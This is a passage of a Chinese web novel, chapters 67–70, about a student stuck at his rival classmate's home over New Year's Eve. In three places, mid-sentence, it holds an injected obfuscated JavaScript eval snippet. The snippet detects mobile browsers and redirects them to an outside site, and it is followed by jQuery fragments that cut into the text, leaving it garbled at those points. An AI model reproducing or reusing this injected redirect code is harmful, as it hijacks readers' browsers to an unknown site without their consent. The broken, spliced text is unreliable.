许多小人纷纷应和——“对啊,去何非亮家,听起来好可怕啊!”、“进门的时候要先迈左脚,还是先迈右脚?要打招呼吗?握手还是拥抱还是鞠躬还是贴面礼呢?第一次去要带礼物吗?带什么呢?啊,太复杂了啦!”、“我有种不详的预感”、“我今天刚好社恐”、“我肚子痛”、“今天穿的袜子颜色不好看”、“万一去了以后,何非亮突然反悔叫保安把我保送、啊不、扭送出去怎么办”…… “诸位,”一个平时不怎么发言的小人开口了,“难道忘了高手兄的指教吗?知己知彼,百战不殆!这一次,刚好是打探何非亮情报的良机。正所谓‘不入虎穴,焉得虎子’,得去!” 一席话说得掷地有声,折服了在座所有的小人。于是,纪小鱼终于鼓起勇气,用手机给何非亮发了个消息,“我到你家楼下了,速来pick me up!” 何非亮秒回,“好的。” 两分钟后,他们正式碰面。 推开玻璃门进去后,温暖的空气扑面而来,烘软了在室外被寒风吹得冰凉僵硬的手指。大堂的门厅称得上恢弘,四周漂浮着林间潺潺流水似的轻音乐。 情报侦察员纪小鱼为了缓解紧张,一路上东瞧瞧、西看看,一会儿抬头看天花板上垂下来的巨大水晶吊灯,一会儿低头看光亮整洁的大理石地板,以及脚下踩着的两团被压扁的模糊影子,一会儿侧过脸看墙上挂着的广告(嘿嘿,原来有钱人也要看广告啊,区别在于我家楼下贴的是洗衣液广告,他们家楼下贴的是劳力士广告),唯独有点做贼心虚似的不敢看何非亮。 但当进了电梯以后,情形就容不得他东张西望了。他扭过头想看向别处,却透过电梯里三面围绕的镜子看见了何非亮正用一种古怪的目光上下打量着他。 “干嘛?”纪小鱼先声夺人,“干嘛这样看着我?” “呃……”何非亮眨了眨眼睛,“小鱼,你是不是忘记带点什么了?” “咳咳,”纪小鱼清了清嗓子,试图用不太愉悦的声音掩盖住自己空手而来的窘迫,“怎么?大家都这么熟了,来你家还得拎个果篮不成?” “那倒不用……” “那你就别问啦!”纪小鱼理直气壮地说,“想带什么东西、不带什么东西,那都是我的自由!” “好吧……” 好在电梯这个时候终于到了。何非亮打开家门,暂时屏蔽掉了脑海里的问号,微笑着说道,“欢迎光临。” 纪小鱼一边脱鞋一边问,“我可以参观一下你家吗?” “当然可以,请随意。” 嘿嘿!那我就不客气了! 纪小鱼蹦蹦跳跳地先右拐跑去厨房洗手,然后好奇地指着桌上一台长得怪模怪样、像是实验室的某种化学仪器似的机器问道,“这是什么?”——何非亮不会是在家里还要卷化学实验吧? “咖啡机。”何非亮云淡风轻地说。 “哦,咖啡?”纪小鱼心里警钟又作,试探地问道,“我听说棒子国的卷人是不用睡觉的。他们特别喜欢喝咖啡,甚至为了节省喝多了水去上厕所的时间,直接干吃咖啡粉……” “怎么能不睡觉呢?”何非亮不赞成地摇了摇头,“太伤身体了,我是可持续发展的拥护者。” “也对,”纪小鱼点点头,“身体是革命的本钱。” 这一点何非亮大概是没有骗人的。他在班里的表现真的很像是一只猪,还是特别懒的那一种。 根据纪小鱼的悉心观察,何非亮似乎从来没有吝惜过自己睡眠的时间,每一节早读课几乎都是睡过去的,晚自习也是偶尔睡。有时候光线太亮,他干脆摊开课本盖在脸上,睡得大摇大摆。老师也不管,甚至看过来的目光里充满了慈爱,一副“这孩子平日真是太辛苦了”的爱怜。啧,这要是换做是别的同学,早就被老师拿粉笔打爆狗头了——“睡睡睡!你以为学校是你家吗?给我站起来!站到后面去!” 唉,真是太不公平了! 可是,话又说回来,自己每天起早贪黑,勤勤恳恳,难道就不会困的么?当然会困!唉,每当困的时候,自己那可怜的手臂上总会多出一排的指甲印,为的不就是能够保持清醒、再多学一点么?今人仍然以古时的“头悬梁、锥刺股”为美谈,以百分之九十九的努力作为天才之路的钥匙,何非亮这个天天趴在课桌上睡觉的大懒猪,凭什么又能够比我高分呢? 这真是、真是……唉!罢了!一直这样自怨自艾也无济于事,还是先做正事吧! 纪小鱼靠着意志力把自己的心从酸涩的河水中捞出,他一边踱步走入了客厅,一边故作随意地继续打探着何非亮的生活习惯,“那你平时喜欢喝咖啡吗?一天喝几杯?” “还可以。一天……最多喝一杯吧。” 纪小鱼皱了皱眉头,“你不觉得咖啡很苦么?” “也有不苦的,”何非亮笑了笑,反问道,“再说了,为什么不可以喜欢苦的东西呢?” “因为……”纪小鱼有点答不上来,于是他岔开话题,摸了摸放在沙发侧边高脚玻璃桌上的一个长着天鹅脖子的木头雕塑,问道,“这是什么?” “嗯……”何非亮思考了一下,“这是艺术?” 纪小鱼:“……” 沉默了一会以后,他不懂装懂地品鉴道,“嗯,不错。”转头又不由地被落地窗外的景色吸引。 “小鱼,”何非亮欲言又止了一番,终于还是犹疑地开口问道,“你今天……真的是来学习的吗?” “当、当然!”纪小鱼艰难地咽了一口唾沫,目光从远处的海景收回,回过头看向何非亮,见他依然是一副吞吞吐吐、欲说还休的模样,一双眼睛像藏着什么了不得的心事一样。 “不、不然呢?”纪小鱼被他看得心里毛毛的,有点紧张地问道,“怎么了?有、有什么问题吗?” 怎么,难不成何非亮已经发现了我想要来打探情报的心思吗? 啊?我刚才表现得有很明显吗?怎么这么快就暴露了? 他、他会赶我走么? 何非亮抿着唇,犹豫了一下,“我可以问吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259416|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你问吧。”纪小鱼觉得有点莫名其妙。 “嗯……你是不是忘带了什么呢?”何非亮又提出了和在电梯里时相同的问题,在纪小鱼预备开口反驳前提示道,“比如,书包啊、题啊……” 惨了! 纪小鱼的一张脸顿时失去了血色,变得煞白无比。 书包? 对啊,我的书包呢!? 一定是今天要出门的时候,想到等会要去的是何非亮家,脑子里乱糟糟的,一不小心就把书包给落在家里,就这么空着手来了。 惨了惨了,这下真的惨了!不是普通的惨,是非常的惨!惨绝人寰的惨。 “小鱼,你别急。”何非亮安慰道,“我可以陪你回去拿。” “回不去了!”纪小鱼哭丧着脸,瘫倒在了沙发上,“钥匙、家里的钥匙也放在书包里……呜呜呜……回不去了……我妈妈要下个星期才会回来!这大过年的,店门都关了,上哪儿去找开锁的人啊!呜呜呜……” 何非亮忍不住笑出了声来。 “你笑什么?”纪小鱼止住了哀嚎,气呼呼地瞪着何非亮。 “啧啧啧,”何非亮摇着头,撕下了虚与委蛇的面具,“哎呀,你这个态度……我可不是很愿意收留你呢……” - “少爷,请喝茶。”纪小鱼恭恭敬敬地端来了一个尚氤氲着热气的茶杯。 茶杯里,唯独有那么一片卷曲的茶叶倔强地不肯坠下,如一艘固执的小艇浮在茶水的表面。 何非亮慢悠悠地拿起杯子,轻轻地把这片漂泊的茶叶给吹沉了下去,上唇这才在清绿的茶水间如蜻蜓点水般地一抿,细细地品了一口,赞道,“不错,温度刚好。” “谢谢少爷夸奖。”纪小鱼抱拳躬身,“小鱼子一定再接再厉,不会让少爷失望的。” 唉,能怎么办呢?寄人篱下、看人脸色;有求于人、身不由己。风刀霜剑严相逼,他就像那片自恃清高而不愿沉溺的茶叶,终究还是敌不过生活所迫。 “喏,赏你的。”何非亮把一大沓刚复印好的数学集训作业递给了纪小鱼,“写去吧。” 家用的打印复印扫描一体机不堪重荷,在一旁冒着滚滚浓烟。 “谢谢少爷。”纪小鱼激动地接过了余着温热的打印纸——太好了!总算是有题可写了! 但一想到这样卑微的日子竟然还要持续一个星期,他嘴角枯干的笑容还是迅速地垮了下来。 唉,真是一失足成千古恨呐!唯有刷题能减轻这样的煎熬! 啊,我的题,你是我苦难生活的寄托! 啊,我的笔,你是我点燃希望的火把! 很快,纪小鱼就写完了一套数学试卷。 对照着答案批改的时,笔尖马不停歇地摩擦过纸面,“哗哗”地打着勾——啊,这种感觉简直爽飞了,没有什么可以比这更享受了! 在那一刻,纪小鱼几乎忘掉了一切的烦恼。 “咳咳,”何非亮突然清了清嗓子,打断了纪小鱼梦幻而惬意的时光,“小鱼子,帮我加点水。” 纪小鱼手里的笔停顿了一下,一团幽怨的怒火在他的背后升起。 一个深呼吸以后,他笑容满面地站起身,“好的,少爷。” 68.第六十八章 奇异恩典 唉,说实话,何少爷这人呐,可真难伺候! 要不是为了能够在他家借宿几宿,哪个愿意搭理他哦! 瞧,才写了一会,他就囔囔着肩膀酸了,需要一个忠实的仆人帮忙捶背;再写了一会,就说腿这样坐下去就要发僵了,需要一个恭顺的仆人陪着,在宽阔的客厅里散步;没过一会儿,又嫌试卷答案上的字太小了,弄得眼睛不舒服,需要一个贴心的仆人陪着他并肩站在落地窗前望远。 哦,天呐,他怎么可以有这么多事情喔!还能不能让人安安静静地学一会啰! 纪小鱼在一次又一次的被使唤中一点点地拉长了脸,他站在窗前,面色阴沉地看向窗外。 唉,窗外、窗外。 窗外天地虽广阔,人生何处觅自由? 世事岂能皆如意,寄人檐下需低头。 愁啊愁,愁啊愁,只因钥匙家中留。 愁啊愁,真发愁,高楼亦难避此愁。 何非亮的家称得上是在高楼,哪怕是坐落在S市这样的城市中心,望出去的景观依然开阔明亮,毫无遮挡。 天与地之间,仰观是闲散无拘的流云,俯瞰是连绵起伏的屋宇——那其中就有纪小鱼的家,小小的、灰灰的,在一众崭新华丽的新楼盘间如同时代的遗物,左邻右舍们都在巴望着它哪一天能够被拆迁。 纪小鱼冒着被邻居们殴打唾骂的风险,天真地祈愿拆迁的这一天能够晚一点到来,或者永远不要到来。他对久居其中的屋子有着特殊的感情,那里有太多他不愿意拆毁的回忆。 有些痕迹拆掉了就没有了,再也没有了。 何非亮呢?这个漂亮的大房子里也有许多他的回忆么?他是不是时常一个人站在这里向外远眺呢?他看见了什么呢? 纪小鱼转过头往身旁看去,眼眸中倒映出了何非亮线条流利的侧脸。他看着窗外,神情专注又认真。 也不怪学校里的同学总说他高冷,不说话的时候,他五官的轮廓总显得有些寂寥,像寒夜中天的月色,冰凉又疏离。 纪小鱼不由地多看了他几眼,空气里宁静得只能听见彼此轻微的鼻息。 今天是除夕啊,一年里的最后一天。 即将过去的这一年里似乎挤满了何非亮的身影,比以往的任何一年都还要更多。 说起来,他们其实很久很久以前就认识了。久到几乎贯穿了成长中有记忆以来的每一个重要的节点。 有时候透过何非亮现在的样子,依稀还能见着他小时候的模样。 小时候的他也常常摆出一副对什么事情都漠不关心的臭脸,只在捧起冠军奖杯时流露出一点难得的笑容。后来这笑容多了一点,要数在看到纪小小鱼出糗的时候最为真心。 他长大了,我也是。 不知过了多久,纪小鱼从恍惚中回过神来,略微尴尬地转回了头,目光望向了远处蔚蓝的海水。那份无边无际的开阔使他的心情得到了宽慰—— 唉,算了、算了。 莫发愁,莫发愁,我是帅哥我不愁。 待我跃得龙门去,万里江河自在游! 嗯,对啦!我再忍一忍!知己知彼,百战不殆!这一次可是天赐的打探何非亮机密的绝好时机,可一定要好好珍惜! 心思百转间,何非亮尊贵的眼睛也总算休息够了。纪小鱼重获自由,终于又能够继续写题了! 哦耶!纪小鱼如狼似虎地扑回到了自己的数学试卷前。 嗯……刚才思考到哪里了?哦,是证明数列的第2018项能不能被2018整除的第四种方法。 …… 快乐的学习时光总是显得那么的珍贵。消停了差不多有整一个小时,何少爷又开始折腾了——这次轮到脑袋了,何非亮说他的脑袋太累了,非要一个有艺术细菌的仆人去给他弹首曲子听。 脑袋!哦,脑袋! 纪小鱼气呼呼地把手里的笔摁在了桌上,“喂,你到底还要不要学习哦?能不能专心一点!” 他正挣扎在最后一张数学试卷上的最后一道题里,眼看着写完这一道题就可以在数学作业这一项后面打勾了——就在这预备着迎接胜利的最后关头上,何非亮好巧不巧又赶来打岔,真是太过分了! “学啊,”何非亮懒懒地打了个呵欠,“可是,累了嘛。” 纪小鱼心不甘、情不愿地起身,他真想掐住眼前这邪恶的脑袋,质问一声——你确定你这颗脑袋不是因为想了太多莫名其妙的坏点子才累成这样的吗?烦死了! 但看在何非亮家的钢琴是自己从小到大垂涎已久的施坦威三角钢琴,纪小鱼抓狂到弯曲成爪的手指姑且软了下来。 好吧,他决定暂时先不生气了。 每一架施坦威都值得被尊重,哪怕它是何非亮家的。 嗯……据说,厉害的音乐家是可以感召人心的。纪小鱼想了想,弹了一首《奇异恩典(Amazing Grace)》,试图能够让何非亮的心灵得到某种净化。 每一个音符都好像拖带着金色的圣光,在客厅里安祥地流淌,像轻柔的、慈悲的、触及额头的抚摸,有一种让流离之人鼻酸的、古老的幸福。 哦,何非亮,忏悔吧!你不该用这种方式,对待一个无家可归的人。 哦,何非亮,你的良心,但愿它还在! 纪小鱼用眼角的余光斜斜地扫了何非亮一眼,见他沉默地坐在沙发上,神情惬意又安宁。阳光从落地窗子里照进来,把他的头发晕染成了漂亮的栗色。哦,何非亮,但愿你的心灵也能像外表一样美丽。 纪小鱼弹得更加卖力了—— 哦,何非亮,你想想看,我们成为同桌已有百日。 这些天来,我难道没有给你带来一点关爱? 早读课,风转凉,是谁把外套披在你身上? 篮球赛,你进球,我也为你,喝过彩。 …… 不知道是不是错觉,在流泻一室的琴声中,何非亮脸上隐约出现了一点近乎温柔的笑意。 一曲终了,余韵犹存。纪小鱼起身,轻轻合上琴盖,一边转头往何非亮的方向看去,见他仍然保持着刚才的姿势,合着眼、松松散散地躺坐在沙发上,一动也不动,只有胸口还随着平缓的呼吸微微起伏,看上去好像已经睡着了。 哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277181|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,睡着了吗? 那也行! 太好了,这样就没有人打扰我写题了! 纪小鱼蹑手蹑脚地准备开溜,突然就听见了一道懒洋洋的声音从陷下去的沙发里有气无力地传来,“我饿了,有没有刚好有一个厨艺高强的仆人……” 原来不是睡着了,是饿晕了……╮( ̄▽ ̄"")╭ 嘿!刚才真是对牛弹琴!才过几秒钟哦,怎么又来使唤我哦! 饿了不能自己去做饭,顺便也帮我做一份吗?正好我也饿了。 管不了那么多了,开战吧! “嗷嗷嗷嗷嗷!”纪小鱼再也忍不住了,气呼呼地回过身,扑上去和何非亮扭打成了一团,“没有!这里没有厨艺高强的仆人!这里只有一个暴躁的仆人!一个威力无穷的仆人!接招吧!” 这项伟大起义取得了革命性的进展。何非亮见势不妙,一边抬起胳膊格挡,一边嘴上妥协道,“诶诶诶诶,先别造反,先别造反,如果没有也没关系!哎呦,哎呦,行行行,我们这里包吃包住、包吃包住总行了吧!” “哼。”纪小鱼这才勉强收回了自己制裁奴隶主的铁拳。 “咳咳,”何非亮整了整衣领,眼里狡黠的笑意像沾上了水的浓墨又晕开来了,“那么,你想吃点什么,我亲爱的仆人?” …… 好吧,刚才可能不算是在对牛弹琴^_^ 何非亮竟然同意中午先由他简单地煎个牛扒,凑合着垫垫肚子。至于纪小鱼提出的火锅,何少爷说晚上出去吃,他订好座位了。自助的,爱吃啥拿啥。 于是——何少爷屈尊降贵亲自下厨,纪小鱼忙里偷闲赶紧写题。 一边是煎锅在炉火上烤热了,另一边是脑袋在思考中冒烟了。 牛扒下锅“嗞嗞”作响,笔从纸页“唰唰”而过。 饭好、题毕,默契! 不得不说,何非亮家的伙食还是挺不错的。 精致的白瓷骨碟上不仅有厚切的牛扒肉,还配有一份蔬菜沙拉、切片土豆和烤南瓜。 纪小鱼一边牛嚼牡丹般地大啃着牛扒,一边礼貌地开口请求道,“我数学集训作业写完了,你等会能帮我复印一下其他的寒假作业吗?” “不能。” 纪小鱼扯了扯嘴角,硬挤出了一点违心的笑,“我洗碗。” “哦,”何非亮这才露出了满意的笑容,话锋一转,“我是说不用复印,我的那一份直接给你。” “啊?”纪小鱼微微诧异,“你不写吗?” 何非亮正慢条斯理切着盘子里的牛扒,闻言手里的动作略微停顿了一下,抬起头微笑道,“你不知道吗?按照S中的规矩,年级第一可以不用写假期作业。” “哦,对不起,是我孤陋寡闻了,我还以为只有平时的可以免。”纪小鱼硬邦邦地回应道。他的嘴角又拉回成了一条毫无波澜的直线,如同他此时的心电图。 “没事,”何非亮漫不经心地说,“你又没拿过第一,不太了解是正常的。” 纪小鱼握紧了手里锃亮的餐刀。 银白色的刀面,映照着他逐渐扭曲的笑容。 69.第六十九章 有花有念 吃火锅是颇需要时间的。但如果足够好吃,便不觉得时间漫长。 回到家的时候,已经十一点多了。 纪小鱼把自己锁进了收拾好的客房里,美美地洗了一个暖暖的热水澡,换上睡衣,舒服地趴在了软软的床上。四肢百骸一天下来终于找到了自己的归宿,这种感觉安宁又美好。 一天中闲暇放松的时间短暂又宝贵。纪小鱼正打算玩会手机,房间里突然响起了敲门声。 “我下班了!”纪小鱼冲门外喊。 “有跨年烟花。” 门被拉开了一条缝隙,纪小鱼从半开的门中探出头外加一条胳膊。他向上扬了扬手心,不客气地讨要道,“加班工资,有吗?” “嗯……”何非亮低头看了一眼手表,“明天可以给你当两个小时的小鱼少爷。” 什么,还有这等好事! 我若是当上了小鱼少爷,那……那还得了!(*^3^) 纪小鱼拼命压住上扬的嘴角,板着脸讨价还价道,“五个小时。” “八个小时,快点吧。”何非亮干脆利落地抓住了纪小鱼的手臂,把他从房间里拉了出来。 他们飞快地跑下旋转的楼梯。拖鞋的塑胶底面一格一格地踏过大理石的阶梯,“哒哒、哒哒”的脚步声宛如加速了的跨年倒计时。那倒计时数到“一”的时候,他们恰好下到了最后一级楼梯。再往前走一步,经过楼梯的转角时,落地窗外的烟花忽然绽放,远远地映亮了夜空。 花团锦簇、繁华富丽。五光十色的光焰拼凑出了四个汉字——“新、年、快、乐”! “哇哦!”纪小鱼激动地朝窗前跑去,低着头向外张望,鼻尖几乎贴上了落地窗的玻璃面。窗上的反光浅浅倒映出他兴奋的脸——还是第一次这样从高处往下俯瞰烟花呢!真是太奇妙了! 夜空还是夜空,和城市的灯光有着分明的界限。烟花倏尔升起,冲破光与暗的交界,碎开出一片星辰。 人间佳节,与天同贺。 灯光璀璨,烟花烂漫。 何非亮悄声把客厅的灯关上了。暗下来的厅室,衬得窗外烟花光芒更炽。他找了一张靠窗的沙发斜坐下来欣赏。 都说烟花易冷,可大概记忆可以将美留下。只要不忘记,就能一直在。 夜色无边,成为了绝好的幕布,上演流星逆转,光华缭乱。忽明又暗,暗里生花。花亦是火,幻亦成真。是繁花着锦,是锦绣织年。是佳期良夜,是心想事成。 年年好景须记,岁岁共赏此花。 烟花里又现出字来,这次是“幸福”。 - 纪小鱼拿出手机,发现自己的手机已经收到了几十条消息。粗粗扫了一眼,基本上都是踩着点发的新年祝福。 哎呦,大过年的,还有这么多人惦记着我呢,多不好意思啊……嘿嘿! 纪小鱼心里暖暖的,简单地回复了一下大家的祝福。高手兄虽然什么也没和他说,但纪小鱼还是从联系人里找到了他,给他发了一句“新年快乐”。 他看着窗外的烟花,想了想,决定录一个视频发朋友圈。 哇,是“*幸福*”啊! 刚好拍到这个了! 纪小鱼的目光透过手机屏幕,倏尔又被窗外明明晃晃盛开的烟花给吸引—— 流光溢彩,熠熠生辉。 幸逢盛世,未来可期! ☆☆☆ 跨年烟花一共持续了二十多分钟。结束以后,何非亮点亮了客厅里的一盏柔黄的小灯。 窗里窗外,又如往常。只是窗玻璃上倒映出的人影,今天加多了一个,显得热闹。 纪小鱼低头一看手机,发现自己的微信一没注意几乎要炸了,新消息提醒占据了整个屏幕。点进去一看,未读消息直逼99+,朋友圈也被赞爆了。 啊?这是什么情况? 就在这困惑的一瞬间,手机里又弹出了一条提醒,是蒋小胖发来的语音消息。 咦,小胖刚才不是发过新年祝福了吗?又有啥好事? 纪小鱼好奇地点开了和蒋小胖的聊天界面—— 月月圆圆: 小鱼小鱼,新年快乐!祝你新的一年里天天开心,因为开心实在是一件很重要的事情! 哈里皮特: 小胖小胖,新年快乐!也祝你开心啰!当然,学习也要进步! 月月圆圆: [语音]39'''''''' 月月圆圆: [语音]16'''''''' 月月圆圆: [语音]11'''''''' 月月圆圆: [语音]5'''''''' …… 哎呀呀,小胖一般是在比较激动的地时候才会发语音。这样一连发了四条,那可一定是激动坏了! 纪小鱼按照顺序点开了第一条语音,却只听见一波一波、土拨鼠般的尖叫,中间混杂着一些凌乱无章的词语。 呃……这个……小胖的心情是传达到了,但是小胖在说啥那真是一点也听不出来。 小胖那头的背景音反而听得更清楚一些。从中,纪小鱼听见了爆竹连串的炸响,几个小孩由远及近的嬉笑,还有小胖妈妈在远处忽然喊了一嗓子的“你搁这叫啥呢儿子,中彩票啦?” 嗯?小胖中彩票了吗?他发消息来不会是打算分我一半吧? 纪小鱼顶着一头的问号,又点开了蒋小胖的第二条语音,这一次听得更清楚了一些。蒋小胖似乎有那么点上气不接下气,他的嘴里蹦出了些不太连贯的句子,“噢——你们——天啊——噢!大家都说你们——啊啊啊啊!烟花!烟花!小鱼!” 纪小鱼:“???” 第三条语音中,真相终于大白。 “学神哥哥发朋友圈了!天啊!我第一次看见他发朋友圈耶!他发了烟花!你也发了!一模一样的烟花诶!都是幸福!哦!幸福!天啊!小鱼,你们是刚好一起在看烟花吗?你们!刚好是一起在跨年吗?救命啊!” 第四条语音里,蒋小胖又恢复了尖叫——“啊啊啊啊啊!这真是太不可思议了!祝你开心!小鱼!祝你有一个美好的一天!哦哦,幸福!” 嘿,原来是这么一回事! “喂!何非亮!”纪小鱼有点气恼地回过头,看向悠哉悠哉坐在一旁的何非亮,“你、你、你干嘛学我发烟花?” 何非亮耸耸肩,“我先发的,谢谢。” 纪小鱼:“……” 纪小鱼不信邪地点开了手机,扫了眼朋友圈的发送顺序,尴尬地搔了搔脸,又默默地把屏幕给熄了——哎呀,烦死了! “不过,有我微信的人不多,”何非亮无所谓地划着自己的手机,“能同时看见你发的,和我发的,应该都是熟人。” “你和卓影也很熟吗?”纪小鱼一脸黑线地看着卓影的消息一条接一条、不依不饶地弹了出来。他打开聊天界面时,一向工作得兢兢业业的手机竟然都有点卡顿了。 “嗯……”何非亮沉吟了一下,似乎在考虑怎样和卓影撇清关系。 最后这个锅终究是由父亲来背起—— “我爸和他爸认识。”何非亮解释道。 “你去问问你爸,”纪小鱼的手指毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288405|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无感情地扫过一整列漫无边际的表情贴图,“他爸聊天的时候,也喜欢刷表情包么?” 何非亮:“……” 表情贴图飞快地向上撤离出残影,纪小鱼在耐心到达极限前终于捕捉到了正题。 我什么都知道: OMG,大哥,这是什么情况! 我什么都知道: 别人可能不清楚,但我是知道的!!!你这个角度,你这个景观,一看就是在何非亮家里! 我什么都知道: 哎呦,你为什么会在何非亮家里!!! 我什么都知道: 你们俩到底是什么关系? 哈里皮特: 你的微信名不是说你什么都知道吗?那你问我干嘛?[疑问] 我什么都知道: 我错了,大哥!我什么都不知道! 我什么都不知道: 我已经改微信名了!大哥,拜托你就稍微透露一点吧! 我什么都不知道: 求求了~[可怜][可怜][可怜] 我什么都不知道: 我保证我知道了也会表现成什么都不知道的样子。 我什么都不知道: [合十][合十][合十] 我什么都不知道: 你不说那我可要瞎猜了诶!喂! 我什么都不知道: 大哥!哥!你是我唯一的哥! 哈里皮特: [再见] …… 纪小鱼冷漠地把这个过于聒噪的小弟给暂时屏蔽了。他用胳膊肘撞了撞何非亮,有点担忧地问道,“喂,何非亮,你确定你爸爸的朋友的儿子不会把这件事情添油加醋地宣扬出去吗?” 何非亮依然是一副事不关己的模样,淡淡道,“看个烟花,又不是什么见不得人的事。” “哦,也对。” 也不知道他们在大惊小怪些什么哦? 烟花开处,人皆可望。你看我看他也看,不是很正常的事情吗? 至于朋友圈,你发我发他也发,发到了同样的内容也是很正常的事情吧。 毕竟烟花那么美,谁看了心里不会浮现出一丝难言的感动呢?对吧? 一阵困意袭来,纪小鱼打了个呵欠,决定把这件不足为道的小事暂时抛诸脑后。 今天真是辛苦的一天啊!写了好多题哦!还吃得有一点饱。 只有亲妈不愧是亲妈,除了祝福了他身体健康学习进步以外,还附加上了一句“早点睡觉”。 嗯,已经快要凌晨一点了,得快点去睡觉了。明天还要继续努力呢! “我去睡啰,晚安。”纪小鱼揉了揉耷拉下来的眼皮,站起身来,一边锤着腰,一边往楼梯的方向慢腾腾地走去。 “晚安。”何非亮依然保持着斜坐在沙发上的姿势,凝望向夜空深处。那里无星无月、无风无雪,连烟花过后的灰烬也散去了,也不知道他在看些什么。 经过楼梯的转角时,纪小鱼突然探出身子说,“诶,新年快乐!” “新年快乐。”何非亮转过头来笑笑。 “还有……生日快乐!”纪小鱼有点不好意思地揉了揉鼻尖,“我突然想起来的……有一次比赛的时候我看到过你的身份证。” “嗯……谢谢。” 客厅里又静了下来。温黄的灯光,落在屋里兰草的盆栽上、落在了古画的长卷上、落在了少年的眉眼间。 那双眼望向窗外的夜色,那里有心有愿、有花有念。 愿年年花好,愿岁岁平安。 70.第七十章 我的秘密 哦啦啦哦啦啦哦啦哦啦嘿,新的一年今天正式开始啰! 早晨的阳光特别的明亮,预示新年新气象! 即将迎来的是充满希望的一年!哎呀,去年没有做到的事情,说不定今年就能做到呢,对吧? 比如——打败何非亮这件事情!!! 一年之计在于春,一日之计在于晨。一大早,纪小鱼便拼命地拍打着何非亮的房门,“起床啦!起床啦!快起来干活啦!哪有仆人睡得比少爷还晚的!像什么样子!” 叫嚣声下,房门终于不情不愿地被打开。何非亮睡眼惺忪地站在门后,空白的脸上透露出了些许神游物外的迷茫,仿佛一缕莫名其妙被召唤而来、还搞不清状况的游魂。 “喂,你昨天自己说的哦,”纪小鱼趾高气扬地抱臂而立,“今天我可以当八个小时的小鱼少爷。” 何非亮:“……” 纪小鱼才不管何非亮什么反应,他大摇大摆地从门外挤了进来,四处打量着何非亮房间的布局。 房间里窗明几净,别有洞天,是外有书房内有卧室的套间。纪小鱼在书房细细转悠,目之所及处,有宽阔素净的实木书桌、占了一整面墙的巨大书柜、放着电视机和游戏卡带的小几、和在窗边展开着的胡桃木色油画架。 画架上面夹着一幅尚未完成的画,从线稿上看大概是玫瑰地、安琪儿和烟花——肉乎乎的安琪儿背着翅膀欲伸手折花,却被天边燃起的灿烂光焰所吸引。 啧,何非亮这个人,你叫他在家里摆个玫瑰花他肯定觉得太肉麻了,他偏要把花画在纸上。 对,他这人就是这样,做什么事情都喜欢迂迂回回、不动声色地折腾一番,直到终于满足了他装逼的需求,他才勉强乐意。 哎呀,不过这个书房还真是挺有逼格的。布局陈设就不说了,光是整个面积就足足是他那间客房的两倍大了,窗外还有一角蓝色的海景,采光绝佳。 “这房间不错,我在此处学习,定能事半功倍。”纪小鱼满意地点点头,眼角的余光瞄向站在一旁打着呵欠的何非亮,清了清嗓子道,“咳咳,我亲爱的仆人,请你从我的房间里出去吧。” “好的,小鱼少爷。”何非亮含糊不清地应了一声,继而梦游一般地离去了。走时还不忘贴心地把门给带上。 啊?什么?他还真的就这么走了啊? 书房里安静下来,安静得能听见“砰砰”的心跳声。 啊,这——这可真是个天上掉下来的大好机会啊! 纪小鱼艰难地咽了口唾沫,这唾沫落入了他心头翻腾的海水中。 哦,书房、书房,学渣的牢房! 哦,书房、书房,学霸的天堂! 请君莫小看书房,书房更胜那卧房。 卧房不过暂栖身,书房多少秘密藏! 是啊,据说一个人读过的书、行过的路、见过的人,慢慢地就会日积月累成他灵魂的一部分。 何非亮书架上摆着的这些书里,一定藏着他学习致胜的秘密!而这秘密,此时正毫无防备地等待着被挖掘! 纪小鱼的拇指轻轻地摩挲着中指指节处的薄茧,他的嘴角浮现出了一丝近乎猖狂的笑意,他的心情有点激动,以至于产生了一点紧张的战栗。他指挥着他的双腿移步向书柜前。每走一步,那笑容就更加扭曲,直到心里冒出了火。那火熊熊燃烧,烧得他咬牙切齿、烧得他双眼发亮,他目光炯炯地看向书柜里的藏书,心想—— 这里,一定有某本宝题,是我还没刷过的! 这里,一定有某本神书,是我尚未拜读的! 只要我也刷了这本题,也看了这本书……哦呵呵呵!下一次考试,鹿死谁手,就未可知了! 哦呵呵呵呵!何~非~亮~让我看看,你平时都躲在家里,偷学了些什么呢? 哦呵呵呵呵呵! 纪小鱼的嘴角止不住地上扬,他迫不及待地开始了在书柜间的巡视。 啊,好刺眼! 细看之下,书柜里浓浓的逼格扑面而来。 